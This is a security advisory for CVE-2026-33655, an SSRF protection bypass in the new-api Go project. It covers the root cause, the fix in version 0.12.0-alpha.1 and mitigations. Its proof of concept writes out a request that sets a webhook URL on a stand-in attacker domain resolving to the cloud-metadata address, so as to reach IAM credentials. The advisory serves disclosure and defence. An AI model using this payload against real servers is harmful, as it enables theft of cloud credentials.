high · 7.7CVE-2026-33655Jul 7, 2026

CVE-2026-33655: new-api SSRF Protection Bypass via Unresolved Hostname

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Authenticated users of new-api could point Webhook, Bark, or Gotify notification URLs at a hostname that resolves to an internal or cloud-metadata IP address, causing the server to make requests to in

Packagegithub.com/QuantumNous/new-api
Ecosystemgo
Affected< 0.12.0-alpha.1
Fixed in0.12.0-alpha.1

The problem

The `FetchSetting` struct shipped with `ApplyIPFilterForDomain: false` as its default. URL validation for notification endpoints (Webhook, Bark, Gotify) applied domain allow/block rules but skipped IP-range checks when the destination was a hostname rather than a bare IP literal.

Any authenticated user could register a notification URL whose hostname resolved to a private or link-local address (RFC 1918, `169.254.169.254`, `::1`, etc.). The server would fetch that URL at notification time, effectively turning the instance into an SSRF proxy reachable by low-privilege accounts.

Proof of concept

A working proof-of-concept for CVE-2026-33655 in github.com/QuantumNous/new-api, with the exact payload below.

http
# 1. Point an attacker-controlled domain at an internal target, e.g.:
#    ssrf.attacker.com  A  169.254.169.254

# 2. Authenticate as any regular user, then set a Webhook notification URL:
PATCH /api/user/setting
Content-Type: application/json
Authorization: Bearer <user_token>

{
  "webhook_url": "http://ssrf.attacker.com/latest/meta-data/iam/security-credentials/"
}

# 3. Trigger a notification event (e.g. quota alert) or call the test endpoint.
# The server resolves ssrf.attacker.com -> 169.254.169.254 and sends the request,
# returning cloud-metadata credentials in timing/error side-channels.

Root cause is a missing DNS-resolution step before IP filtering (CWE-918). `ValidateURLWithFetchSetting` in `common/ssrf_protection.go` accepted a hostname, checked it against the domain list, and returned without ever resolving the name and re-checking the resulting IP against the IP filter.

The `ApplyIPFilterForDomain` flag controlled whether that resolution step ran, and it defaulted to `false`.

The fix in commit `20399d3c` changes the default of `ApplyIPFilterForDomain` to `true` in `fetch_setting.go`, so every hostname destination is now resolved and its IP is validated against the configured IP filter rules before the request is allowed.

The fix

Upgrade to `v0.12.0-alpha.1` or any later release. The patch sets `ApplyIPFilterForDomain: true` as the new default in `setting/system_setting/fetch_setting.go`.

If an immediate upgrade is not possible: explicitly set `ApplyIPFilterForDomain` to `true` in your system settings, restrict notification URL domains to a strict allowlist, disable user-configurable notification URLs where not needed, and add outbound network egress rules at the host or network layer to block access to RFC 1918 and link-local ranges.

Reporter not attributed.

References: [1][2][3]

Related research